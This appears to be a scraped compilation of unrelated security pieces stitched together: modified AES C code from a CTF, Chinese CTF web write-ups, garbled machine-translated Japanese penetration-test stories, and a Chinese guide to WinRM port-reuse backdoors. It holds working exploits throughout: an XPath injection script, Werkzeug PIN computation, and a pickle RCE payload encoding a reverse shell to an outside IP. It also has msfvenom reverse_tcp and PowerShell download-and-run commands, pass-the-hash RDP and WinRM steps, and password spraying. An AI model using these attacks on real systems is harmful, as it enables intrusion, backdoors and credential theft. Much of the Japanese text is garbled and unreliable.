// MixColumns function mixes the columns of the state matrix.// The method used to multiply may be difficult to understand for the// inexperienced. Please use the references to gain more information.static void InvMixColumns(state_t *state) {  int i;  uint8_t a, b, c, d;  for (i = 0; i < 4; ++i) {    a = (*state)[i][0];    b = (*state)[i][1];    c = (*state)[i][2];    d = (*state)[i][3];
    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^                     Multiply(d, 0x09);    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^                     Multiply(d, 0x0d);    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^                     Multiply(d, 0x0b);    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^                     Multiply(d, 0x0e);  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void InvSubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxInvert((*state)[j][i]);    }  }}
static void InvShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to right  temp = (*state)[3][1];  (*state)[3][1] = (*state)[2][1];  (*state)[2][1] = (*state)[1][1];  (*state)[1][1] = (*state)[0][1];  (*state)[0][1] = temp;
  // Rotate second row 2 columns to right  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to right  temp = (*state)[0][3];  (*state)[0][3] = (*state)[1][3];  (*state)[1][3] = (*state)[2][3];  (*state)[2][3] = (*state)[3][3];  (*state)[3][3] = temp;}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
void swap_xxx(state_t *state) {  for (int j = 0; j < 4; j++) {    uint8_t a = (*state)[j][0];    uint8_t b = (*state)[j][1];    uint8_t c = (*state)[j][2];    uint8_t d = (*state)[j][3];    (*state)[j][3] = a;    (*state)[j][2] = b;    (*state)[j][1] = c;    (*state)[j][0] = d;  }}
// Cipher is the main function that encrypts the PlainText.static void Cipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  // Add the First round key to the state before starting the rounds.  AddRoundKey(0, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without MixColumns()  for (round = 1;; ++round) {    if (round != Nr) {      swap_xxx(state);    }    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    SubBytes(state);    ShiftRows(state);    if (round == Nr) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;      break;    }
    MixColumns(state);
    swap_xxx(state);    AddRoundKey(round, state, RoundKey);
    hexdump((*state), sizeof(*state));  }  hexdump(*state, sizeof(*state));  // Add round key to last round  AddRoundKey(Nr, state, RoundKey);  swap_xxx(state);}
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static void InvCipher(state_t *state, const uint8_t *RoundKey) {  uint8_t round = 0;
  swap_xxx(state);  // Add the First round key to the state before starting the rounds.  AddRoundKey(Nr, state, RoundKey);
  // There will be Nr rounds.  // The first Nr-1 rounds are identical.  // These Nr rounds are executed in the loop below.  // Last one without InvMixColumn()  for (round = (Nr - 1);; --round) {    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[0];      uint32_t b = *(uint32_t *)(*state)[1];      uint32_t c = *(uint32_t *)(*state)[2];      uint32_t d = *(uint32_t *)(*state)[3];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[3] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[1] = d;    }    InvShiftRows(state);    InvSubBytes(state);    if (round == (Nr - 1)) {      uint32_t a = *(uint32_t *)(*state)[3];      uint32_t b = *(uint32_t *)(*state)[2];      uint32_t c = *(uint32_t *)(*state)[1];      uint32_t d = *(uint32_t *)(*state)[0];      *(uint32_t *)(*state)[0] = a;      *(uint32_t *)(*state)[1] = b;      *(uint32_t *)(*state)[2] = c;      *(uint32_t *)(*state)[3] = d;    }    if (round != (Nr - 1)) {      swap_xxx(state);    }    AddRoundKey(round, state, RoundKey);    if (round == 0) {      break;    }    swap_xxx(state);    InvMixColumns(state);  }}#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
/*****************************************************************************//* Public functions:                                                         *//*****************************************************************************/#if defined(ECB) && (ECB == 1)
void AES_ECB_encrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call encrypts the PlainText with the Key using AES  // algorithm.  Cipher((state_t *)buf, ctx->RoundKey);}
void AES_ECB_decrypt(const struct AES_ctx *ctx, uint8_t *buf) {  // The next function call decrypts the PlainText with the Key using AES  // algorithm.  InvCipher((state_t *)buf, ctx->RoundKey);}
#endif // #if defined(ECB) && (ECB == 1)
#if defined(CBC) && (CBC == 1)
static void XorWithIv(uint8_t *buf, const uint8_t *Iv) {  uint8_t i;  for (i = 0; i < AES_BLOCKLEN;       ++i) // The block in AES is always 128bit no matter the key size  {    buf[i] ^= Iv[i];  }}
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t *Iv = ctx->Iv;  for (i = 0; i < length; i += AES_BLOCKLEN) {    XorWithIv(buf, Iv);    Cipher((state_t *)buf, ctx->RoundKey);    Iv = buf;    buf += AES_BLOCKLEN;  }  /* store Iv in ctx for next call */  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);}
void AES_CBC_decrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  size_t i;  uint8_t storeNextIv[AES_BLOCKLEN];  for (i = 0; i < length; i += AES_BLOCKLEN) {    memcpy(storeNextIv, buf, AES_BLOCKLEN);    InvCipher((state_t *)buf, ctx->RoundKey);    XorWithIv(buf, ctx->Iv);    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);    buf += AES_BLOCKLEN;  }}
#endif // #if defined(CBC) && (CBC == 1)
#if defined(CTR) && (CTR == 1)
/* Symmetrical operation: same function for encrypting as for decrypting. Note * any IV/nonce should never be reused with the same key */void AES_CTR_xcrypt_buffer(struct AES_ctx *ctx, uint8_t *buf, size_t length) {  uint8_t buffer[AES_BLOCKLEN];
  size_t i;  int bi;  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi) {    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */    {
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);      Cipher((state_t *)buffer, ctx->RoundKey);
      /* Increment Iv and handle overflow */      for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi) {        /* inc will overflow */        if (ctx->Iv[bi] == 255) {          ctx->Iv[bi] = 0;          continue;        }        ctx->Iv[bi] += 1;        break;      }      bi = 0;    }
    buf[i] = (buf[i] ^ buffer[bi]);  }}
#endif // #if defined(CTR) && (CTR == 1)
unsigned char hexData2[176] = {    0x39, 0xBA, 0x3A, 0x0B, 0x1C, 0x27, 0x64, 0xA2, 0x80, 0x98, 0x31, 0x36,    0xEB, 0x9E, 0x77, 0x9E, 0x32, 0x53, 0x31, 0xFF, 0x2E, 0x74, 0x55, 0x5D,    0xAE, 0xEC, 0x64, 0x6B, 0x45, 0x72, 0x13, 0xF5, 0xD4, 0x3D, 0x71, 0x80,    0xFA, 0x49, 0x24, 0xDD, 0x54, 0xA5, 0x40, 0xB6, 0x11, 0xD7, 0x53, 0x43,    0xCE, 0xBF, 0x7F, 0x69, 0x34, 0xF6, 0x5B, 0xB4, 0x60, 0x53, 0x1B, 0x02,    0x71, 0x84, 0x48, 0x41, 0x4D, 0x1C, 0x20, 0x33, 0x79, 0xEA, 0x7B, 0x87,    0x19, 0xB9, 0x60, 0x85, 0x68, 0x3D, 0x28, 0xC4, 0x51, 0x59, 0x07, 0x17,    0x28, 0xB3, 0x7C, 0x90, 0x31, 0x0A, 0x1C, 0x15, 0x59, 0x37, 0x34, 0xD1,    0x6F, 0x92, 0x9D, 0x2F, 0x47, 0x21, 0xE1, 0xBF, 0x76, 0x2B, 0xFD, 0xAA,    0x2F, 0x1C, 0xC9, 0x7B, 0x4E, 0x87, 0x01, 0xB2, 0x09, 0xA6, 0xE0, 0x0D,    0x7F, 0x8D, 0x1D, 0xA7, 0x50, 0x91, 0xD4, 0xDC, 0xC8, 0xD4, 0x80, 0x7A,    0xC1, 0x72, 0x60, 0x77, 0xBE, 0xFF, 0x7D, 0xD0, 0xEE, 0x6E, 0xA9, 0x0C,    0x36, 0xFC, 0x1F, 0xB2, 0xF7, 0x8E, 0x7F, 0xC5, 0x49, 0x71, 0x02, 0x15,    0xA7, 0x1F, 0xAB, 0x19, 0xE2, 0xA0, 0xDF, 0xE6, 0x15, 0x2E, 0xA0, 0x23,    0x5C, 0x5F, 0xA2, 0x36, 0xFB, 0x40, 0x09, 0x2F};
int main() {  struct AES_ctx ctx;  uint8_t key[] =      "\x39\xba\x3a\x0b\x1c\x27\x64\xa2\x80\x98\x31\x36\xeb\x9e\x77\x9e";  uint8_t buf[16] = "FFFFFFFFFFFFFFFF";
  AES_init_ctx(&ctx, key);
  memcpy(ctx.RoundKey, hexData2, sizeof(hexData2));  hexdump(ctx.RoundKey, sizeof(ctx.RoundKey));
  AES_ECB_encrypt(&ctx, buf);  hexdump(buf, sizeof(buf));
  uint8_t bufx[16] =      "\xAA\xFE\xE4\xE0\xC3\xB3\x24\x16\x4E\x5B\xF7\x13\x9E\xE1\xCA\xA0";
  AES_ECB_decrypt(&ctx, bufx);  hexdump(bufx, sizeof(bufx));  return 0;}

四、web

1.题目名称:babyjava

xpath 注入,参考:https://xz.aliyun.com/t/7791#toc-6lthbbqwzeg315460.jpgv5hnqwmvwea15462.jpg
exp:import requestsurl = 'http://eci-2zeck6h5lu4hlf0o62vg.cloudeci1.ichunqiu.com:8888/hello'head = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36","Content-Type": "application/x-www-form-urlencoded"}strs = '}_{-abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'flag = ''for i in range(1, 100):for j in strs:payload_1 = { # root"xpath":"admin' or substring(name(/*[1]), {}, 1)='{}".format(i,j)}payload_2 = { # user"xpath":"admin'or substring(name(/root/*[1]), {}, 1)='{}".format(i,j)}payload_3 = { # username"xpath":"admin'or substring(name(/root/user/*[2]), {}, 1)='{}".format(i,j)}payload_4 = { # username"xpath":"admin'or substring(name(/root/user/*[1]), {}, 1)='{}".format(i,j)}payload_7 = { # flag"xpath":"1' or substring(/root/user/username[2]/text(),{},1)='{}".format(i,j)}r = requests.post(url=url, headers=head, data=payload_7)if "This information is not available" not in r.text:flag += jprint(flag)breakif "This information is not available" in r.text:breakprint(flag)be4wd4pfuna15465.jpg

2.题目名称:OnlineUnzip

题目源代码如下:import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)
这里直接利用软链接就可以进行任意文件读取了。按照下面的操作来即可ida3hbjgpt015468.jpgrvkza1jky3l15471.jpg
软链接任意读文件
flag.sh /etc/passwd
#!/usr/bin/env bashrm flagrm flag.zipln -s $1 flagzip --symlinks flag.zip flagskovnssspcw15537.jpg发现 ffffl111l1a44a4gggetngbcqy5bj15542.jpg可以看到这里是开启debug的。那么可以算pin来打huwkucibco315547.jpg可以参考这个师傅算pin的文章https://blog.csdn.net/weixin_54648419/article/details/123632203读取发现无权限, python3.8,所以可以算 pin 码gp4pylsrtq115551.jpg算 pin
import hashlibfrom itertools import chainprobably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到]private_bits = ['95529894978',# /sys/class/net/eth0/address 16 进 制 转 10 进 制00:16:3e:06:84:42#/etc/machine-id + /proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了

qwhv4okjyeu15556.jpg

3.easypickle

题目源码:import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)]
a=['a','b','c','d','e','f']
a+= numbers_str
file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w')
for b in a:
    for c in a:
        for d in a:
            for e in a:
                file.write("{}{}{}{}\n".format(b,c,d,e))
korat3tsdyy15559.jpg然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval
[*] Session decodes to: {'user': 'admin'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 24960 attempts
b'6174qixmwf3h1sv15562.jpg
黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可
xocezbtklls15565.jpg本地测试一下import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code)
大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadgalxtx5t3rl15568.jpgC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py 
code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.'''

    0: (    MARK
    1: S        STRING     'shanghe1'
   12: S        STRING     'shanghe'  #这里的意思是压进去第一个字典
   23: d        DICT       (MARK at 0)
   24: (    MARK
   25: S        STRING     'shanghe2'
   36: S        STRING     'shanghe'
   47: d        DICT       (MARK at 24)  #再往栈里面压进去第二个字典
   48: (    MARK
   49: c        GLOBAL     'os system'
   60: S        STRING     'dir'
   67: o        OBJ        (MARK at 48)  #这里用我们逃出来的o指令进行命令执行
   68: s    SETITEM   #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。
   69: .    STOP
highest protocol among opcodes = 1
最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle
import base64
import os
code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.'''
code=base64.b64encode(code)
print(code)
# pickle.loads(base64.b64decode(code))
然后伪造即可替换原来的sesison,然后访问admin页面即可
python3  flask_session_cookie_manager3.py encode -s "6174"  -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='}



参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp
附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA   提取码:2pay 

序文

私は映画を見るのが好きですが、無料でセックスをするのが好きなので、映画やテレビのサイトをよく見て、時にはいくつかの怠zyな広告がポップアップします。最近、私は公式アカウントをあまり更新していないので、Pを作るのが面倒な広告を見つけました。スケールは比較的大きいため、コーディングに真剣です。

簡単な要約

Lazy Video ---外部Xステーションの再生ソース图片 2を引用します。 Xを選択します----バックエンドは、都市とBaiduからの写真のすべての厄介な紹介です。偽物3。バックエンドデータを投稿しています图片

実用的な戦闘体験

ドメイン名検索、XXエンターテインメント、およびソースコードの波に囲まれた壁に取り付けられた背景を見つけました。同様のソースコードと構築されたチュートリアルを見つけました。サイトのIPが漏れました。一般的なサイトのデモンストレーションには、デモンストレーションアカウントのパスワードバックエンドとさまざまな指紋機能が添付されています。图片デモサイトの指紋およびデフォルトアカウントパスワードを介して、同じタイプのサイトのバッチを見つけました。基本的に、私はカラーレイジービデオを使用して、ほうれん草を誘導しました。图片背景宝くじプリセット、すべての詐欺。この記事をあなたの色の怠zyな友達と共有したいと思っています。图片初期段階では、デモサイトの指紋を見つけるためのソースコードを見つける方法を見つけました。一部のサイトもありますが、これは通常の浸透方法です。まず、アカウントを登録し、ユーザー名をカスタマイズしてXSコードに直接配置できるプロンプトを確認します。それはお金の無駄であり、背景を引き起こすのは困難です。背景をトリガーするのは困難です。图片バックグラウンドでのユーザーディスプレイはこのようなものであり、ユーザーの詳細をクリックすると图片 图片もトリガーされます。图片

元のリンクから転載:https://mp.weixin.qq.com/s/iiyt-m1ul0upxvocmwcfag

0x00はじめに

私は退屈し、簡単なテストのためにオンラインでほうれん草を見つけてメモを取りました。大物は軽く噴出した。欠点がある場合はアドバイスしてください。

0x01弱いパスワード

ウェブサイトにアクセスするのはログインページです。検証コードがなければ、BPは直接有効になります。弱いパスワード管理者/123456が正常に公開され、背景に直接入ります。

图片

0x02注入して許可を取得

私は多くの機能ポイントを調べ、1つの機能ポイントでアップロードインターフェイスを見つけ、ファイルをアップロードしようとしましたが、アップロードできないことがわかりました。あきらめて見続けることを選択します。特定のhttp://url/groupmember.aspx?gid=パラメーターに単一の引用符を追加すると、エラーが直接報告されます。これはSQL注入後に来ていませんか?

图片

それを行い、直接sqlmap。

图片

MSSQLおよびDBAアクセス許可として、直接-S-Shell

图片

オンラインMSF

すでに通常の許可を取得している次のステップは、MSFを起動して権利を増やすことです。 MSFはPowerShellスクリプトを生成し、Webサイトディレクトリに配置します。

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8888 -f psh -reflection xx.ps1 图片

VPS Enable Monitoring 图片

PowerShellを使用してオンラインSESSIONPOWERSHELL.EXE -NOP -W HIDDEN -C 'IEX((new -Object.WebClient).DownLoadString(' http://x.x.x.x/xx.ps1 ')' 图片

URLスプライシングスタッキングを介してPowerShellを実行したい場合は、問題が発生します。これは単一の引用閉鎖の問題です。 PowerShellをエンコードして、単一の引用問題をバイパスできるようにすることができます。これが良いウェブサイトです。

https://r0yanx.com/tools/java_exec_encode/Elevation of Rights

セッションが開始され、次の目標はシステム許可を取得することです。幸いなことに、GetSystemはシステム許可を直接取得できます。権利を引き上げる必要がある場合、Tudouファミリーは権利の促進を推奨します。実際の戦闘の成功率は非常に高く、それに影響を与えるサーバーバージョンはたくさんあります。图片

プロセスを移行して、プロセスが崩壊しないようにします。图片

サーバーへのリモートログイン

サーバーは、システムの権限があり、2012年のシステムであるため、ポート3389を開設したことがわかりました。平易なテキストのパスワードが2008年以上のバージョンでキャプチャされていない場合、AdminNistratorパスワードを直接変更します。 (実際の戦闘で管理者パスワードを直接変更することはお勧めしません)图片

图片

ハッシュを使用して、管理者アカウントにリモートでログインします

プレーンテキストパスワードを取得できないのはWin2012であるため、管理者パスワードを直接変更するのは少し不適切です。管理者NTLMを取得して、リモートでマシンにログインしてみてください。 (それは同じではありません、それはただ一つのアイデアを提供するだけです)图片

Hashを使用してRDPへのリモートログインは、「制限された管理モード」を有効にする必要があります 'HKLM \ System \ CurrentControlset \ Control \ lsa' /vdisable -restricedAdmin /T reg_dword /d 000000 /f //オープン制限管理管理モデレグクエリ 'hklm str 'disabletedadmin'を見つけます ' StrSTR 'disableStrictiondadmin' //0x0が有効になっているかどうかを確認します图片を意味します

ハッシュリモート管理者デスクトップ图片を正常に使用しました

图片

04

0x03その他

初期段階では、ポート1433が開いていることがわかりました。そのため、データベース構成ファイルを探してデータベースにログインしました。

图片

私はFOFAを調べて、かなり多くの資産があることを発見しました、そして、それらの多くはオープンポート1433を持っています。私は同じ人によって展開されたウェブサイトがあると思います。取得したパスワードを使用して、これらの資産のポート1433を爆破し、すべてSA許可を使用していくつかのデータベースを正常にヒットしようとしました。仕上げる。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/kj55hbzmc9jf6xmbzxwu4w3359xz.aliyun.com/t/12501

ターゲットサイトページを取得します

图片

それが始まる前にあきらめる準備をしてください

次に、右上隅にポイントモールを見てみましょう。悲しい心でクリックしました

图片

私はこのページを見て、ドアを叩き、10分間喫煙に出かけました[なぜ私が前にそれをしなかったのか尋ねないでください

情報の収集を開始します

このポイントストアを入手して、ドメイン名をFOFAに入れます

图片

実際のIPを取得した後、Baota BackEndログインパネル图片を見つけました

次に、ドメイン名/IPを使用してディレクトリ[Yujianの超大規模な辞書]をスキャンし、言語バーを調べて確認します。どのスクリプト言語ドメイン名が直接index.php [pages]、index.jsp [404]、index.asp [404]、ok、phpに連絡して背景を取得してください

图片

このようなページが非常に少ない場合は、試してみる機能を見つけるために運を試してみてください

图片

FOFAで検索します

图片

多くのページが表示されてから、Baidu 图片で検索してください

このフレームワークはThinkPhpに基づいて開発されていることが確認されています[TPフレームワークの脆弱性を攻撃に使用する場合、ここにアイデアがあります:があります。成功しない場合は、コード監査に発見されたCMSを使用できます。上記のbaotaログインパネルを見つけたという事実に基づいて、任意のファイルを監査してBaotaユーザー名とパスワードを読むことができます。タスクを計画します] TP脆弱性スキャンツールを使用してPOC 图片を取得します

デバッグエラーはTP5.0.1で、検索しました。ログパスを見つけました。ログ包含を使用しようとしましたが、失敗しました。その後、特定の数に到達し、PHPINFOページが特定のKBを占有すると、彼のログがクリアされることがわかりました。したがって、彼のログをげっぷを介してクリアしてから、URLエンコードを?phpphpinfo();//[脆弱性概要ファイル包含] 图片に変換する必要がありました。

图片

送信すると、ログファイルがげっぷで表示されなかった直後に消えます。この時点で、最初のPOCを振り返ってください。 POCが成功すると、以下にデバッグ情報が表示されます。图片

したがって、実行が成功したときにRAWに焦点を当て、主要な機能を抽出するために次の情報が表示されます图片

重要な機能を抽出し、RAW 图片で検索します

图片

したがって、phpphpinfo();含まれていますが、これら2つの機能が繰り返されます。操作は現在ログに書き込まれ、パケットをキャッチし、URLの%3c?php%20phpinfo();%3eをphp phpinfo();に変換します。ここでは、そのログが一定の量に達すると、クリアされ、悪意のあるコードが含まれないことに注意してください。 phpphpinfo(); phpphpinfo();送信するときは、ログにアクセスして、存在するかどうかを確認する必要があります。phpphpinfo();ここで3回試しました。機能を正常に含めることは問題ではありません(正常に含まれています)。残りのけいれんは言及されていません。簡単すぎます。含まれて実行されている限り、GetShellは問題ではありません。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/ve5qx0fi_0owvq-6uc9xg

HireHackking

端口复用后门总结

WinRM实现端口复用

这种攻击方式前提是需要帐号和密码,如果在获得hash的情况下也可以利用evil-winrm来实现hash登录

服务介绍

WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

后门应用

在windows2012服务器中,winrm默认启动,开启了5985端口,在2008系统中需要手动开启服务

winrm quickconfig -q

启动后防火墙也会放行该端口
20210104174750
设置启用httplistener监听并存

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} //80
winrm set winrm/config/service @{EnableCompatibilityHttpsListener="true"} //443

20210104174922

修改监听端口为80/443

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
winrm set winrm/config/Listener?Address=*+Transport=HTTPS  @{Port="443"}

20210104175540

本地连接也需要开启WinRM服务,然后设置信任连接的主机,

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
winrs -r:http://172.16.142.151:5985 -u:administrator -p:admin123 "whoami"

20210105131322
20210105125247

WinRM PTH

mac下使用evil-winrm实施pth

sudo gem install evil-winrm
evil-winrm -i 172.16.142.151 -u administrator -H 8842xxxxxxx9c89a -P 80

测试了下复用后也是可以pth连接的。
20210105131325
20210105131152

HTTP.sys端口复用

HTTP.sys介绍

这种方法的应用场景是针对IIS,HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys

1 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则,可以参考MSDN: https://msdn.microsoft.com/en-us/library/windows/desktop/aa364698(v=vs.85).aspx 。这是注册的过程。
2 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。

劫持程序实现

